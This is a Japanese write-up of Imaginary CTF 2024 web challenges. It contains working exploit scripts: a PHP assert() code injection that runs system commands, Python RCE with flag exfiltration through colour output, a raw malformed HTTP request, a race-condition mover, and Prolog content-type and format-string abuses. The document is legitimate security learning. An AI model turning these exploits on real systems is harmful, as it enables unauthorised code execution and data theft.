Imaginary CTF 2024 writeup
毎度のこと、脆弱エンジニアでImaginary CTF 2024に参加しまして、自分が参加したなかでは最高の順位の31位を獲得しました。amamaさんがめっちゃ強かったのと、みんなそれぞれ活躍してくれたおかげです。
僕は個人的にはそこそこだったかな、というところです。最近勉強していて知っていることは増えたけど、うまくそれを活用しきれていない感覚です。答え聞いたら「そうじゃん」ってなってしまう問題を減らしていくのが今の課題ですね。多分もっと問題解くのがいいのかもしれないです。(これ以上問題解く量増やせるかと言われると結構限界な気が...)
解けなかった問題のwriteupはこちら
✅journal (100pts クリア率36%)
問題
if (isset($_GET['file'])) {
$file = $_GET['file'];
$filepath = './files/' . $file;
assert("strpos('$file', '..') === false") or die("Invalid file!");
if (file_exists($filepath)) {
include($filepath);
} else {
echo 'File not found!';
}
}
一見Directory Traversalに見えて、ちゃんとWAFがあるのでできない。(もしかしたら回避方法あるかも?)よく見ると、
assert("strpos('$file', '..') === false") or die("Invalid file!");
ここに好きな文字を入れられるので、またまたチートシートを利用して
import requests
import re
URL = "http://journal.chal.imaginaryctf.org/"
# URL = "http://localhost/"
r = requests.get(URL + "",params={"file": "','') or die(system(\"ls /\")) or strpos('"})
filename = re.findall(r"flag-.+\.txt", r.text)[0]
r = requests.get(URL + "",params={"file": f"','') or die(highlight_file('/{filename}')) or strpos('"})
print(r.text)
✅P2C (100pts クリア率17%)
問題
from flask import Flask, request, render_template
import subprocess
from random import randint
from hashlib import md5
import os
import re
import logging
app = Flask(__name__)
def xec(code):
code = code.strip()
indented = "\n".join([" " + line for line in code.strip().splitlines()])
file = f"/tmp/uploads/code_{md5(code.encode()).hexdigest()}.py"
with open(file, 'w') as f:
f.write("def main():\n")
f.write(indented)
f.write("""\nfrom parse import rgb_parse
print(rgb_parse(main()))""")
os.system(f"chmod 755 {file}")
try:
res = subprocess.run(["sudo", "-u", "user", "python3", file], capture_output=True, text=True, check=True, timeout=0.1)
output = res.stdout
except Exception as e:
app.logger.info(e)
output = None
os.remove(file)
return output
@app.route('/', methods=["GET", "POST"])
def index():
res = None
if request.method == "POST":
code = request.form["code"]
res = xec(code)
valid = re.compile(r"\([0-9]{1,3}, [0-9]{1,3}, [0-9]{1,3}\)")
if res == None:
return render_template("index.html", rgb=f"rgb({randint(0, 256)}, {randint(0, 256)}, {randint(0, 256)})")
if valid.match("".join(res.strip().split("\n")[-1])):
return render_template("index.html", rgb="rgb" + "".join(res.strip().split("\n")[-1]))
return render_template("index.html", rgb=f"rgb({randint(0, 256)}, {randint(0, 256)}, {randint(0, 256)})")
return render_template("index.html", rgb=f"rgb({randint(0, 256)}, {randint(0, 256)}, {randint(0, 256)})")
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80, debug=True)
import sys
if "random" not in dir():
import random
def rgb_parse(inp=""):
inp = str(inp)
randomizer = random.randint(100, 1000)
total = 0
for n in inp:
n = ord(n)
total += n+random.randint(1, 10)
rgb = total*randomizer*random.randint(100, 1000)
rgb = str(rgb%1000000000)
r = int(rgb[0:3]) + 29
g = int(rgb[3:6]) + random.randint(10, 100)
b = int(rgb[6:9]) + 49
r, g, b = r%256, g%256, b%256
return r, g, b
pythonコードを送ると、
with open(file, 'w') as f:
f.write("def main():\n")
f.write(indented)
f.write("""\nfrom parse import rgb_parse
print(rgb_parse(main()))""")
のように実行してからrgb_parse
という関数で色を計算してくれる。フラグの場所は不明だが、RCEできればなんとでもなるだろうということでそこを目指す。
最初はReverse Shellをめざすが、
res = subprocess.run(["sudo", "-u", "user", "python3", file], capture_output=True, text=True, check=True, timeout=0.1)
timeoutが0.1に設定されているためここを回避しないと行けない。threadとかで回避できるかなと思考を巡らせていると、
valid = re.compile(r"\([0-9]{1,3}, [0-9]{1,3}, [0-9]{1,3}\)")
# snip
if valid.match("".join(res.strip().split("\n")[-1])):
return render_template("index.html", rgb="rgb" + "".join(res.strip().split("\n")[-1]))
つまり、(R,G,B)形式の出力のうち、最後に出力されたものだけを色として採用し、HTMLに埋め込むので、出力をちょっと遅らせれば好きな色を埋め込むことができる。
これを利用して、3文字ずつ出力結果を得ることによって、フラグをゲットした。
import requests
import re
import time
# URL = "http://localhost/"
URL = "http://p2c.chal.imaginaryctf.org/"
def generateCode(i):
return f"""
import os
import threading
import time
import subprocess
val = subprocess.run(["ls", "/app"], text=True,capture_output=True).stdout
def print_message():
print( "(" + ", ".join([str(ord(x)) for x in val[{3*i}:{3*i+3}]]) + ")" )
timer = threading.Timer(0.05, print_message)
timer.start()
"""
# return f"""
# import os
# import threading
# import time
# val = open("/app/flag.txt", 'r').read()
# def print_message():
# print( "(" + ", ".join([str(ord(x)) for x in val[{3*i}:{3*i+3}]]) + ")" )
# timer = threading.Timer(0.05, print_message)
# timer.start()
# """
i = 0
res = ""
while True:
data = {
"code": generateCode(i)
}
r = requests.post(URL, data=data)
color = re.findall(r"changeBackgroundColor\(\"rgb\((\d+), (\d+), (\d+)\)\"\)", r.text)[0]
str1 = "".join([chr(int(c)) for c in color])
res += str1
r = requests.post(URL, data=data)
color = re.findall(r"changeBackgroundColor\(\"rgb\((\d+), (\d+), (\d+)\)\"\)", r.text)[0]
str2 = "".join([chr(int(c)) for c in color])
i += 1
print(res)
if str1 != str2:
break
time.sleep(0.1)
多分Reverse Shellも頑張れば行けたけど、せっかくだから想定解法っぽくできてよかった。
✅Crystal (100pts クリア率10%)
Sinatraというrubyのフレームワークを利用した問題。Hostnameを取得できればクリア。Sinatraのコードを読んでいると、500番台のエラーを吐くとサーバーの詳細から取得できることがわかった。
あまりに変なリクエストだとNginxに阻まれれてしまうが、いろいろ試行錯誤してみたらいけた。想定のSinatraのエラーではなく、SinatraのベースとなるWEBrickのエラーだったが、同様にエラーメッセージからHostnameが取得できた。
import socket
HOST = "crystals.chal.imaginaryctf.org"
v = (
"GET /< HTTP/1.1\r\n"
f"Host: {HOST} \r\n"
"\r\n"
)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, 80))
s.sendall(v.encode())
r = s.recv(4096)
r = r.decode()
print(r)
socketを利用しているのは、request.get(URL + "/<")
だと自動でエスケープしてしまうため。未定義動作を引き出すにはやっぱり生のHTTPデータに触りたい。
✅The Amazing Race (100pts クリア率6.9%)
迷路を解く問題に見せかけて、ゴールが必ず壁に囲われるようになっているので、壁を貫通する必要がある。
正直ちゃんとコードを読んでいないけど、多分race conditionだろうなぁと思ってコードを書いてみたらうまくいったのでちゃんと解説はできない。壁から1マス開けたところにいるときに、高速で二回壁に移動すると、壁の判定をすり抜けることができる。
race conditionははうまくいったり行かなかったりしたし、サーバーが重くてうまく動いていなかったりしてたので、基本は手で動かして、必要に応じてコードを動かした。
import requests
import re
import threading
import time
def getMaze(res):
maze = re.findall(r"<code>\n([^<]+)\n</code>", res.text)[0]
return maze.split("\n")
def getPos(maze):
y = next(filter(lambda i: "@" in maze[2:][i], range(len(maze))))
x = maze[y+2].find("@")
return x,y
current = (0,0)
lock = threading.Lock()
def move(id, m):
global current
r = requests.post(URL + "move", params={"id": id, "move":m})
maze = getMaze(r)
x, y = getPos(maze)
with lock:
current = (x, y)
print(current)
URL = "http://the-amazing-race.chal.imaginaryctf.org//"
id = "36cf5187-54e2-4887-9240-619c99103623"
while current[0] <= 32: # 現在地によって書き換える
threads = []
thread = threading.Thread(target=move, args=(id, "right"))
thread.start()
threads.append(thread)
thread = threading.Thread(target=move, args=(id, "right"))
thread.start()
threads.append(thread)
thread = threading.Thread(target=move, args=(id, "right"))
thread.start()
threads.append(thread)
for thread in threads:
thread.join()
time.sleep(0.5)
thread = threading.Thread(target=move, args=(id, "left"))
thread.start()
✅Pwning en Logique (384pts クリア率2.6%)
問題
:- use_module(library(http/thread_httpd)).
:- use_module(library(http/http_dispatch)).
:- use_module(library(http/http_session)).
:- use_module(library(http/http_client)).
:- use_module(library(http/http_parameters)).
:- use_module(library(http/html_write)).
:- http_handler('/', index, []).
:- http_handler('/login', login, []).
:- http_handler('/greet', greet, []).
:- http_handler('/flag', flag, []).
server(Port) :-
http_server(http_dispatch, [port(Port)]).
index(_Request) :-
users(Users),
member(admin=Password, Users),
reply_html_page(
title('Index | Pwning en Logique'),
[
form([action='/login'], [
button([type=submit], 'Log in')
]),
form([action='/greet'], [
button([type=submit], 'Get greeted by the server')
]),
form([action='/flag'], [
button([type=submit], 'Get the flag')
])
]
).
login(Request) :-
member(method(post), Request),
http_read_data(Request, Data, []),
((
member(username=Username, Data),
member(password=Password, Data),
users(Users),
member(Username=Password, Users),
http_session_retractall(_OldUsername),
http_session_assert(username(Username)),
http_redirect(see_other, '/greet', Request)
); reply_html_page(
[title('Log in | Pwning en Logique')],
[
h2([], 'Invalid credentials'),
form([action='/login', method='POST'], [
label([for=userame], 'Username: '),
input([type=text, name=username], []),
label([for=password], 'Password: '),
input([type=password, name=password], []),
input([type=submit], [])
])
]
)).
login(_Request) :-
reply_html_page(
[title('Log in | Pwning en Logique')],
[
form([action='/login', method='POST'], [
label([for=userame], 'Username: '),
input([type=text, name=username], []),
label([for=password], 'Password: '),
input([type=password, name=password], []),
input([type=submit], [])
])
]
).
greet(Request) :-
http_session_data(username(Username)),
http_parameters(Request, [
greeting(Greeting, [default('Hello')]),
format(Format, [default('~w, ~w!')])
]),
content_type,
format(Format, [Greeting, Username]).
greet(Request) :-
http_redirect(see_other, '/login', Request).
flag(_Request) :-
content_type,
(http_session_data(username(admin)), print_flag; print_access_denied).
content_type :- format('Content-Type: text/html~n~n').
print_flag :- format('jctf{red_flags_and_fake_flags_form_an_equivalence_class}').
print_access_denied :- format('<h1>Only the admin can access the flag!</h1>').
users([
guest=guest,
'AzureDiamond'=hunter2,
admin=AdminPass
]) :- crypto_n_random_bytes(32, RB), hex_bytes(AdminPass, RB).
Prologで書かれたサーバーで、adminとしてログインできればクリア。http_read_data
の仕様があやしいかなと思いドキュメンテーションを読んでみると、
content_type(+Type)
Overrule the content-type that is part of Request as a work-around for wrongly configured servers.
Without plugins, this predicate handles
application/x-www-form-urlencoded
Converts form-data into a list of Name=Value terms.
application/x-prolog
Converts data into a Prolog term.
プログラム自体はapplication/x-www-form-urlencoded
を想定しているようだが、application/x-prolog
も受け付けるので、これを利用できないかと試行錯誤してみたらできた。
import requests
# URL = "https://pwning-en-logique-ac967ede7032613c.d.imaginaryctf.org/"
URL = "http://localhost:8000/"
s = requests.session()
data = """[username=admin, password=X]."""
r = s.post(URL + "login", data=data, headers={
"Content-type": "application/x-prolog"
})
print(r.status_code)
print(r.text)
r = s.get(URL + "flag")
print(r.text)
discordで見つけた別解
greet(Request) :-
http_session_data(username(Username)),
http_parameters(Request, [
greeting(Greeting, [default('Hello')]),
format(Format, [default('~w, ~w!')])
]),
content_type,
format(Format, [Greeting, Username]).
http_parameters
のdefault
は、あくまでクエリパラメータのデフォルト値を設定しているだけなのでformatの引数を自由に書き換えられる。ここで、formatのドキュメンテーションを読んでみると、~@
がその引数をゴールとして実行する、と書いてある。これを利用したのが以下の解法
import requests
# URL = "https://pwning-en-logique-ac967ede7032613c.d.imaginaryctf.org/"
URL = "http://localhost:8000/"
s = requests.session()
r = s.post(URL + "login", data={
"username": "guest",
"password": "guest"
})
r = s.get(URL + "greet", params={
"greeting": "print_flag",
"format": "~@, ~w"
})
print(r.status_code)
print(r.text)
解きたかった問題
そのうち別記事にまとめます
Readme 2
3大会連続のBunの問題。脆弱性自体は見つけていたけどSSRFがシンプル下手でした。同じミス前もした気がします
Notactf
Cryptoとの複合問題だと思う。Padding Oracle Attackというものを実行するのかと思いきやOracleが動かない事件発生しました。方針が間違っていたのか、Oracleを見出す方法があるのか。一番時間使っただけに結構悔しいです。
Heapnote
XS-leaksのOracle自体は知っていたけど、そもそもNote IDを取得する方法が???でした。まだ理解できてないです
Forms
2日前とかにブックマーク記事が元となっていたのに、まだちゃんと読んでいなかったという。読んでいたら解けていたかどうかは怪しいけど、手法自体は簡単だったのでちゃんと勉強し直します。
まとめ
Pwn(以下略)
Discussion